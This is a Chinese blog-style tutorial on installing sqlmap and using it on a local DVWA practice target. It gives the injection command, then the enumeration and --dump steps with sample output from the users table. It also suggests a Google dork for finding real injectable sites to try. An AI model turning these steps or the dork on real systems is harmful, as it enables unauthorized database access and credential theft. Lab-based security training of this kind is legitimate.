SqlMap 初尝试
什么是SqlMap
Sqlmap是开源的自动化SQL注入工具，由Python写成，具有如下特点：
完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
支持自动识别密码哈希格式并通过字典破解密码哈希。
支持完全地下载某个数据库中的某个表，也可以只下载某个表中的某几列，甚至只下载某一列中的部分数据，这完全取决于用户的选择。
支持在数据库管理系统中搜索指定的数据库名、表名或列名
简单来说SqlMap就是一中SQL注入的工具，能实现对一些网站的SQL注入和获取数据库信息。
如何安装SqlMap
因为SqlMap是基于python，所以需要先安装本地的python环境
Python2.7.11下载：
下载地址：https://www.python.org/downloads/- 安装步骤可以查看其它的python的安装教程，蛮简单。
- 安装完成后，重启系统，查看是否生效，“Win+R”，输入cmd，然后输入python
通过 http://www.sqlmap.org/ 下载SqlMap的zip包- 通过在桌面创建快捷方式，实现桌面的SqlMap快捷键。
- 输入 cmd
- 输入自定义名称
- 将sqlmap的文件夹拷贝到python下
修改起始位置如下，修改为python下的sqlmap的地址
- 直接启动，如下
SqlMap的实验
通过googel的inurl:"/.asp?id=" 搜索一些可被注入的网站进行尝试
我尝试的是通过DVWA的SQL 盲注入。
如果有兴趣，可以尝试先从DVWA的靶机开始。,DVWA是一款不错Web渗透的入门靶机
通过 sqlmap.py -u "http://127.0.0.1:8081/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3pdq351sispu8cugkmpu7afhi4" --batch "实现对靶机的验证看能否注入攻击
ps:--batch 是指之后所有的选择参数都是默认的选项。
根据图片显示攻击可以注入，并获取到了后端的配置信息，以及将其内容输出成为了一个文档
测试成功，通过 --dbs命令查看后台的Databases,ps 因为 --batch为默认参数选择，所以必需为最后一个参数指令 。
根据后台显示以下几个databases，因为网站为dvwa，所以选中dvwa数据库，查看tables分布
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
通过参数 -D 指定database 通过 --tables 显示所有的table ，如下图有两个表，因为要有攻击性，所以选择 users的表
+-----------+
| guestbook |
| users |
+-----------+
-T参数指定表为users，--columns查看该表的所有列，查看到users表的表结构有这8个字段组成
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+
通过 --dump显示出所有的内容
如果字段名过多，可以尝试通过 -C "user,password" 来实现指定字段的筛选
但是所有的数据不可能会在命令行上看，这样很不不方便。没关系，sqlmap在你执行 --dump命令时，已经将数据文件下载到了本地，可以随时查看文件数据，文件保存为CSV类别。
以上就是SqlMap的简单使用，至于为什么要学习这个攻击的技术，因为进攻是最好的防守啊，学会了如何攻击，才知道如何防御别人的攻击。
